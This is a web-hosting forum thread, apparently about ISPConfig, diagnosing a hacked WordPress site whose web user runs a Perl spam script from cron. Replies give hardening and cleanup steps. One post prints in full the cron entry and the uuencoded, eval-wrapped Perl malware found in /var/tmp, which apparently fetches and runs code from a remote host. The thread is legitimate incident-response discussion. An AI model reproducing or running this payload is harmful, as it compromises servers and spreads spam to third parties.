hi, Please read complete before understanding the bug. This is not the first time we have encountered a website running wordpress on our ISPConfig Server. Problem: The hosted domain is able to fork/create processes, which in turn create/fork SMTP processes on the server and the hosted domain is able to listen and then starts sending emails for the hackers' pleasure. this is causing a big blunder on our side, causing the server being blacklisted on most of the RBLs and our legitimate customers are getting panic due to this. even though the PERL extension is disabled completely in the allowed executable paths , strange again, we have postfix already running on port 25 on the server, when I do an "lsof -i:25" is do that the default postfix and the forked processes listening on same port Below is the lsof -i:25 output see what 3rd column is saying, genuine SMTP Processes are running with root, while the forked process is running with the user of the hosted domain I have all details in the attached file, as the maximum size of the message here is 1000, please read the file completely. BUG even though the perl is not in allowed components list, but the website can still run the perl executables very successfully.
Reading your post I have to confess that I believe you have no real idea of how PHP, Perl and server security itself work … The option you mentioned (Perl inactive/active in ISPConfig) simply means that .pl files are not executed when called via web, e. g. https://yourdomain.com/myscript.pl. It does in no way mean (as that would not even be possible) that the web system user may not execute perl scripts on shell. So what happened at your server is that your web was hacked and either the attacker created a cron job that belongs to the system user that then executes any script he wants or the attacker executed the perl script directly This is normally done by using exec, shell_exec, system, backtick etc. operators in PHP. So before you claim to have found security bugs in ISPConfig and such scare other (not-so-experienced) users, read some texts about how to secure your websites. In short: Either use a WAF to prevent security wholes being misused or disallow the use of potentially risky functions in PHP (php.ini setting disable_functions) Last but not least: I hate (yes, personally I HATE) when users who have no idea of the technical backgrounds claim such "security bug nonsense".
The title of your post is quite misleading as it claims to be about a bug in ISPConfig while what you posted is a misconfiguration of PHP on your server, so you might want to correct the title as other users might think that there is a bug otherwise. ISPconfig is not involved in the execution of the perl scripts nor in sending of these emails at all. Back to your original problem: You have a hacked WordPress site and this WordPress site started a script on your server which sends emails. This is possible only because you allow your customers to execute scripts. See here on how to disallow code execution from within PHP: https://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/ You should set that e.g. for php-fpm and then limit all sites to use php-fpm. Don't set this for php cli as cli is commandline and cli scripts must be able to execute commands.
my apologies, if I have created a mess here or reported the ISPConfig as problem here, My concern is to make the product ( the ISPConfig ) more reliable and secure rather than being HATED by someone or being noticed for reporting the buggy problem about a Bug. my perception ( which you said is wrong as well ) that when you disable the PERL execution in the hosted domain, it should not allow perl for anything, but it is actually happening I can't rename perl for this user's env only. other than that, the processes created are not even giving any single clue how they were created ( the only option that is working is to go to the /proc/processid/ and then listing the exe which shows its a perl script which is sending emails from users through my system. in addition to this, I just noticed, there is no SMTP process, but the processes are just accepting emails from remote locations and then sending them to multiple locations/destinations. ( lsof -i:25 is showing is ) again I apologize, but I need some help on this to get rid of these things. I just moved the websites to PHP-Mod from PHP-Cgi , will that work in any way..any other suggestions will be welcome.
Really bad idea, mod-php is a completely insecure old PHP mode which allows a site access to all other sites, never use that on servers with more than one website. Switch it back immediately to either fastcgi or php-fpm. Like I mentioned above, your problem is not directly related to ISPConfig or the use of ISPConfig on your server. A user on any web server, no matter if it has ispconfig installed or not, can execute applications from within PHP unless you disable this PHP standard functionality. That the executed script is written in perl does not matter for the problem, it could be written in any programming language So how to fix and secure your server: 1) Kill the currently running perl process which sends the email. 2) Edit the global php-fpm php.ini file and disable the code execution functions there as described in the link that I posted. 3) Restart PHP-fpm. 4) Check the crontab of the web29, if it contains something, remove it: crontab -l -u web29 5) Check if a new perl process was started in the meantime, in that case, kill it again. 6) Check your website or all websites with a malware scanner to remove malware that was uploaded, you can do that e.g. with the free trial scan from ispprotect: https://ispprotect.com/
The lsof is not showing that and an unprivileged user like web29 can never bind a program to a lower port, only root can do that. What lsof shows is that postfix is running on port 25, the sendmail command is used to send emails, sendmail is the standard command on Linux systems to send an email from scripts like shell scripts.
Check the website access log files, as if the site was breached via a wordpress core/plugin/theme vulnerability, you may well find helpful indications there. That's most likely, but also check ftp or ssh logs if you have ftp or shell users on the site, to see if a ftp or shell account has been (ab)used to add malware. Scan for malware like @till said. As this is a wordpress site, I would strongly recommend using wordfence, both as a WAF as @Croydon suggested and also to scan your website for malware/vulnerabilities. Generally multiple scanners are useful, as they all miss things. Ass you mentioned 'Forked processes have usual names like "postfix", sendmail, or exim4' you might even try a "grep -Erl 'postfix|sendmail|exim4' /var/www/domain.tld/web/" and investigate any files mentioned (though you will have false positives, matching those strings but not malicious).
Just found the problem -- thanks to Till for his patience and being a real mentor here.. Salute to You There is cronjob running under web29 user, which is executing the perl process every 10 minutes. Code: root@server1 server1 :~# crontab -l -u web29 */10 * * * * perl /var/tmp/WkWFJl >/dev/null 2>&1 root@server1 server1 :~# more /var/tmp/WkWFJl my $OTijZtzR;$OTijZtzR.=$_ while(<DATA>);eval(unpack('u*',$OTijZtzR)); __DATA__ M(R$O=7-R+V)I;B]P97)L("UW#0IU<V4@<W1R:6-T.PT*=7-E(%!/4TE8.PT* M=7-E($E/.CI3;V-K970[#0IU<V4@24\Z.E-E;&5C=#L-"B0P(#T@(GAI;F5T M9"([(&UY("@D<3$L("1Q,BD@/2`H(C`N-R(L("(P+C@B*3L@)'P@/2`Q.R`F M;6%I;[email protected]*<W5B(&UA:6X-"GL-"F5X:70@,"!U;FQE<W,@9&5F:6YE9"`H M;7D@)'!I9"`](&9O<FLI.PT*97AI="`P(&EF("1P:60[#0I03U-)6#HZ<V5T M<VED*"D[#0HD4TE'>R1??2`]("))1TY/4D4B(&9O<B`H<7<@*$A54"!)3E0@ M24Q,($9012!154E4($%"4E0@55-2,2!314=6(%534C(@4$E012!!3%)-(%1% M4DT@0TA,1"DI.PT*=6UA<VL@,#L-"F-H9&ER("(O(CL-"F]P96X@*%-41$E. M+"`B/"]D978O;G5L;"(I.PT*;W!E;B`H4U1$3U54+"`B/B]D978O;G5L;"(I M.PT*;W!E;B`H4U1$15)2+"`B/B935$1/550B*3L-"FUY("1U<FP@/2!;(C<X M+C$R."XQ,3(N,3`V(ET[#0IM>2`D<FYD(#T@6R)A(BXN(GHB+"`B02(N+B): M(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;;6%P('MR86YD($`D<FYD?2@Q M+BXH-B`K(&EN="!R86YD(#4I*5TI.PT*;7D@)&1I<B`]("(O=F%R+W1M<"([ M(&EF("AO<&5N("A&+"`B/B(L("(O=&UP+R1R;F0B*2D@>R!C;&]S92!&.R!U M;FQI;FL@(B]T;7`O)')N9"([("1D:7(@/2(O=&UP(CL@?0T*;7D@*"1H96%D M97(L("1C;VYT96YT*3L-"FUY("@D;&EN:RP@)&9I;&4L("1I9"P@)&-O;6UA M;F0L("1T:6UE;W5T*2`]("@B96XN=VEK:7!E9&EA+F]R9R(L(")I;F1E>"YH M=&UL(BP@,[email protected](#$P*3L-"F9O<F5A8V@@;7D@)')S("A`)'5R;"D-"GL- M"B1H96%D97(@/2`B)&1I<B\B("X@=&EM93L@)&-O;G1E;G0@/2`D:&5A9&5R M("X@(C$B.PT*=6YL:6YK("1H96%D97(@:68@+68@)&AE861E<CL@=6YL:6YK M("1C;VYT96YT(&EF("UF("1C;VYT96YT.PT*)FAT='`H)')S+"`D=&EM96]U M="P@)&AE861E<BP@)&-O;G1E;G0L(#`I.PT*:68@*&]P96X@*$8L("(\(BP@ M)&AE861E<BDI#0I[#0IF;&]C:R!&+"`Q.PT*;7D@*"1T97-T+"`D=&%S:RD@ M/2`H,"P@(B(I.PT*=VAI;&4@*#Q&/BD-"GL-"G,O7EQS*BA;7EQS73\N*BDD M+R0Q+SL-"G,O7B@N*EM>7'-=*5QS*B0O)#$O.PT*;F5X="!U;FQE<W,@;&5N M9W1H("1?.PT*)'1E<W0@*RL@:68@)%\@97$@(DA45%`O,2XP(#(P,"!/2R(@ M?'P@)%\@97$@(D-O;FYE8W1I;VXZ(&-L;W-E(CL@)'1A<VL@/2`D,2!I9B`O M7E-E="U#;V]K:64Z(%!(4%-%4U-)1#TH6UX[72LI+SL-"GT-"F-L;W-E($8[ M#0HH)&QI;FLL("1F:6QE+"`D:60L("1C;VUM86YD+"`D=&EM96]U="D@/2`F M9&5C>&0H)'1A<VLI(&EF("1T97-T(#T](#(@)B8@;&5N9W1H("1T87-K.PT* M?0T*=6YL:6YK("1H96%D97(@:68@+68@)&AE861E<CL@=6YL:6YK("1C;VYT M96YT(&EF("UF("1C;VYT96YT.PT*?0T*97AI="`P(&EF("%D969I;F5D("1C M;VUM86YD('Q\("1C;VUM86YD("%^("]>,38D+SL-"B1H96%D97(@/2`B)&1I M<B\B("X@=&EM93L@)&-O;G1E;G0@/2`B)&1I<B\D9FEL92([#0IU;FQI;FL@ M)&AE861E<B!I9B`M9B`D:&5A9&5R.R!U;FQI;FL@)&-O;G1E;G0@:68@+68@ M)&-O;G1E;G0[#0HF:'1T<"@D;&EN:RP@)'1I;65O=70L("1H96%D97(L("1C M;VYT96YT+"`Q*3L-"FUY("@D<F5S<"P@)'-I>F4I(#T@*"(P,#`B+"`P*3L- M"FEF("AO<&5N("A&+"`B/"(L("1H96%D97(I*0T*>PT*9FQO8VL@1BP@,3L- M"G=H:6QE("@\1CXI#0I[#0IS+UY<<RHH6UY<<UT_+BHI)"\D,2\[#0IS+UXH M+BI;7EQS72E<<RHD+R0Q+SL-"FYE>'0@=6YL97-S(&QE;F=T:"`D7SL-"B1R M97-P(#T@)#$@:68@+UY(5%107%,K7',K*%QD7&1<9"DO.PT*?0T*8VQO<V4@ M1CL-"GT-"B1S:7IE(#T@*'-T870@)&-O;G1E;G0I6S==(&EF("UF("1C;VYT M96YT.PT*)'-I>F4@/2`P(&EF("%D969I;F5D("1S:7IE('Q\("1S:7IE("%^ M("]>7&0K)"\[#0II9B`H)'-I>F4@/B`P*0T*>PT*8VAM;V0@,#<U-2P@)&-O M;G1E;G0[#0IS>7-T96T@(G!E<FP@)&-O;G1E;G0@/B]D978O;G5L;"`R/B8Q M(CL-"GT-"G5N;&EN:R`D:&5A9&5R(&EF("UF("1H96%D97([('5N;&EN:R`D M8V]N=&5N="!I9B`M9B`D8V]N=&5N=#L-"F9O<F5A8V@@;7D@)')S("A`)'5R M;"D-"GL-"B1H96%D97(@/2`B+V1E=B]N=6QL(CL@)&-O;G1E;G0@/2`D:&5A M9&5R.PT*)FAT='`H)')S+"`Q,"P@)&AE861E<BP@)&-O;G1E;G0L(#`L("(D M:60N)')E<W`N)'-I>F4B*3L-"GT-"F5X:70@,#L-"GT-"G-U8B!X;W)L#0I[ M#0IM>2`H)&QI;F4L("1C;V1E+"`D>&]R+"`D;&EM*2`]("AS:&EF="P@(B(L M(#$L(#$V*3L-"F9O<F5A8V@@;7D@)&-H<B`H<W!L:70@*"\O+"`D;&EN92DI M#0I[#0II9B`H)'AO<B`]/2`D;&EM*0T*>PT*)&QI;2`](#`@:68@)&QI;2`] M/2`R-38[#0HD;&EM("L](#$V.PT*)'AO<B`](#$[#0I]#0HD8V]D92`N/2!P M86-K("@B0R(L('5N<&%C:R`H(D,B+"`D8VAR*2!>("1X;W(I.PT*)'AO<B`K M*SL-"GT-"G)E='5R;B`D8V]D93L-"GT-"G-U8B!D96-X9`T*>PT*;7D@)&1A M=&$@/2!P86-K("@B2"HB+"!S:&EF="D[#0I`7R`]('5N<&%C:R`H(D,U(BP@ M<W5B<W1R("@D9&%T82P@,"P@-2P@(B(I*3L-"G)E='5R;B`H)GAO<FPH<W5B M<W1R("@D9&%T82P@,"P@<VAI9G0L("(B*2DL("9X;W)L*'-U8G-T<B`H)&1A M=&$L(#`L('-H:69T+"`B(BDI+"!`7RD[#0I]#0IS=6(@:'1T<`T*>PT*;7D@ M*"1U<FPL("1T:6UE;W5T+"`D:&5A9&5R+"`D8V]N=&5N="P@)&UO9&4L("1G M96-K;RD@/2!`7SL-"B1G96-K;R`]("(R,#$P,#$P,2(@:68@(61E9FEN960@ M)&=E8VMO('Q\("%L96YG=&@@)&=E8VMO.PT*;7D@*"1H;W-T+"`D<&]R="P@ M)'!A=&@I(#T@)'5R;"`]?B`O7BA;7EPO.ETK*3HJ*%QD*BD_*%PO/UM>7"-= M*BDO.PT*<F5T=7)N('5N;&5S<R`D:&]S=#L-"FUY("1A9&1R(#T@9V5T:&]S M=&)Y;F%M92`D:&]S=#L-"G)E='5R;B!U;FQE<W,@)&%D9'([#0HD<&]R="!\ M?#T@.#`[#0HD<&%T:"!\?#T@(B\B.PT*)&%D9'(@/2!S;V-K861D<E]I;B@D M<&]R="P@)&%D9'(I.PT*;7D@)')E861E<G,@/2!)3SHZ4V5L96-T+3YN97<H M*2!O<B!R971U<FX[#0IM>2`D=W)I=&5R<R`]($E/.CI396QE8W0M/FYE=R@I M(&]R(')E='5R;CL-"FUY("1B=69F97(@/2!J;VEN#0HH#0HB7'@P1%QX,$$B M+`T*(D=%5"`D<&%T:"!(5%10+S$N,2(L#0HB2&]S=#H@)&AO<W0B+`T*(E5S M97(M06=E;G0Z($UO>FEL;&$O-2XP("A7:6YD;W=S($Y4(#8N,3L@5VEN-C0[ M('@V-#L@<G8Z-C`N,"D@1V5C:V\O)&=E8VMO($9I<F5F;W@O-C`N,"(L#0HB M06-C97!T.B!T97AT+VAT;6PL87!P;&EC871I;VXO>&AT;6PK>&UL+&%P<&QI M8V%T:6]N+WAM;#MQ/21Q,2PJ+RH[<3TD<3(B+`T*(D%C8V5P="U,86YG=6%G M93H@96XM=7,L96X[<3TD<3$B+`T*(D%C8V5P="U%;F-O9&EN9SH@9WII<"P@ M9&5F;&%T92(L#0HB06-C97!T+4-H87)S970Z($E33RTX.#4Y+3$L=71F+3@[ M<3TD<3(L*CMQ/21Q,2(L#0HB0V]N;F5C=&EO;CH@8VQO<V4B+`T*(EQX,$1< M>#!!(@T**3L-"FEF("@D;6]D92D-"GL-"B1B=69F97(@/2!J;VEN#0HH#0HB M7'@P1%QX,$$B+`T*(D=%5"`D<&%T:"!(5%10+S$N,"(L#0HB2&]S=#H@)&AO M<W0B+`T*(E5S97(M06=E;G0Z($UO>FEL;&$O-2XP("A7:6YD;W=S($Y4(#8N M,3L@5VEN-C0[('@V-#L@<G8Z-C$N,"D@1V5C:V\O)&=E8VMO($9I<F5F;W@O M-C$N,"(L#0HB06-C97!T.B!T97AT+VAT;6PL*B\J(BP-"B)#;VYN96-T:6]N M.B!C;&]S92(L#0HB7'@P1%QX,$$B#0HI.PT*?0T*;7D@)'-O8VME="`]($E/ M.CI3;V-K970Z.DE.150M/FYE=RA0<F]T;R`]/B`B=&-P(BP@5'EP92`]/B!3 M3T-+7U-44D5!32D[#0IR971U<FX@=6YL97-S("1S;V-K970[#0HD<V]C:V5T M+3YB;&]C:VEN9R@P*3L-"G5N;&5S<R`H)'-O8VME="T^8V]N;F5C="@D861D M<BDI#0I[#0IU;FQE<W,@*"0A(#T](%!/4TE8.CI%24Y04D]'4D534RD-"GL- M"F-L;W-E("1S;V-K970[#0IR971U<FX[#0I]#0I]#0HD=W)I=&5R<RT^861D M*"1S;V-K970I.PT*)'1I;65O=70@*ST@=&EM93L-"FUY("1S=&5P(#T@,#L- M"G=H:6QE("@Q*0T*>PT*24\Z.E-E;&5C="T^<V5L96-T*'5N9&5F+"!U;F1E M9BP@=6YD968L(#`N,#(I.PT*;7D@)'=R:71A8FQE(#T@*$E/.CI396QE8W0M M/G-E;&5C="AU;F1E9BP@)'=R:71E<G,L('5N9&5F+"`P*2E;,5T[#0IF;W)E M86-H(&UY("1H86YD;&4@*$`D=W)I=&%B;&4I#0I[#0II9B`H)'-T97`@/3T@ M,"D-"GL-"B1S=&5P(#T@,2!I9B`D:&%N9&QE+3YC;VYN96-T960[#0I]#0II M9B`H)'-T97`@/3T@,2D-"GL-"FUY("1R97-U;'0@/2!S>7-W<FET92`H)&AA M;F1L92P@)&)U9F9E<BD[#0II9B`H9&5F:6YE9"`D<F5S=6QT("8F("1R97-U M;'0@/B`P*0T*>PT*<W5B<W1R("@D8G5F9F5R+"`P+"`D<F5S=6QT*2`]("(B M.PT*:68@*"%L96YG=&@@)&)U9F9E<BD-"GL-"B1R96%D97)S+3YA9&0H)&AA M;F1L92D[#0HD=W)I=&5R<RT^<F5M;W9E*"1H86YD;&4I.PT*)'-T97`@/2`R M.PT*?0T*?0T*96QS:68@*"0A(#T](%!/4TE8.CI%5T]53$1"3$]#2RD-"GL- M"FYE>'0[#0I]#0IE;'-E#0I[#0HD=&EM96]U="`](#`[#0I]#0I]#0I]#0IM M>2`D<F5A9&%B;&4@/2`H24\Z.E-E;&5C="T^<V5L96-T*"1R96%D97)S+"!U M;F1E9BP@=6YD968L(#`I*5LP73L-"F9O<F5A8V@@;7D@)&AA;F1L92`H0"1R M96%D86)L92D-"GL-"FYE>'0@:68@)'-T97`@/"`R.PT*;7D@)')E<W5L=#L- M"FEF("@D<W1E<"`]/2`R*0T*>PT*)')E<W5L="`]('-Y<W)E860@*"1H86YD M;&4L("1B=69F97(L(#@Q.3(L(&QE;F=T:"`D8G5F9F5R*3L-"GT-"F5L<V4- M"GL-"B1R97-U;'0@/2!S>7-R96%D("@D:&%N9&QE+"`D8G5F9F5R+"`X,3DR M*3L-"GT-"FEF("@Q-C,X-"`\(&QE;F=T:"`D8G5F9F5R*0T*>PT*)'1I;65O M=70@/2`P.PT*?0T*96QS:68@*&1E9FEN960@)')E<W5L="D-"GL-"FEF("@D M<F5S=6QT(#X@,"D-"GL-"FEF("@D<W1E<"`]/2`R*0T*>PT*;7D@)&]F9G-E M="`](&EN9&5X("@D8G5F9F5R+"`B7'@P1%QX,$%<>#!$7'@P02(I.PT*;F5X M="!I9B`D;V9F<V5T(#P@,#L-"FEF("AO<&5N("A&+"`B/CXB+"`D:&5A9&5R M*2D-"GL-"F9L;V-K($8L(#([#0IB:6YM;V1E($8[#0IP<FEN="!&('-U8G-T M<B`H)&)U9F9E<BP@,"P@)&]F9G-E="D[#0IC;&]S92!&.PT*?0T*<W5B<W1R M("@D8G5F9F5R+"`P+"`D;V9F<V5T("L@-"D@/2`B(CL-"B1S=&5P(#T@,SL- M"GT-"FEF("@D<W1E<"`]/2`S*0T*>PT*:68@*&QE;F=T:"`D8G5F9F5R*0T* M>PT*:68@*&]P96X@*$8L("(^/B(L("1C;VYT96YT*2D-"GL-"F9L;V-K($8L M(#([#0IB:6YM;V1E($8[#0IP<FEN="!&("1B=69F97([#0IC;&]S92!&.PT* M?0T*)&)U9F9E<B`]("(B.PT*?0T*?0T*;F5X=#L-"GT-"B1T:6UE;W5T(#T@ M,#L-"GT-"F5L<VEF("@D(2`]/2!03U-)6#HZ15=/54Q$0DQ/0TLI#0I[#0IN M97AT.PT*?0T*96QS90T*>PT*)'1I;65O=70@/2`P.PT*?0T*?0T*:68@*"1T M:6UE;W5T(#P@=&EM92D-"GL-"F9O<F5A8V@@;7D@)&AA;F1L92`H)'=R:71E M<G,M/FAA;F1L97,L("1R96%D97)S+3YH86YD;&5S*0T*>PT*)'=R:71E<G,M M/G)E;6]V92@D:&%N9&QE*2!I9B`D=W)I=&5R<RT^97AI<W1S*"1H86YD;&4I M.PT*)')E861E<G,M/G)E;6]V92@D:&%N9&QE*2!I9B`D<F5A9&5R<RT^97AI M<W1S*"1H86YD;&4I.PT*8VQO<V4@)&AA;F1L93L-"GT-"G)E='5R;CL-"GT- '"GT-"GT-"@`` root@server1 server1 :~#
Add the username of the web user to /etc/cron.deny file. But be aware that this probably will disable cronjobs for this website in ISPConfig too.
But when you disable exec functions in PHP as mentioned in my earlier posts, then an attacker will not be able to add a cronjob. So disabling crontab is not important anymore then.
which means if I remove the crontab and the executing file , the user should not be able to run the same profiled process whether or not I disable the user in crontab.deny.
If you disabled exec functions in PHP and remove the file and crontab entry, then the user should not be able to re-add it. And ensure that you clean the WordPress site for malware too with a malware scanner.
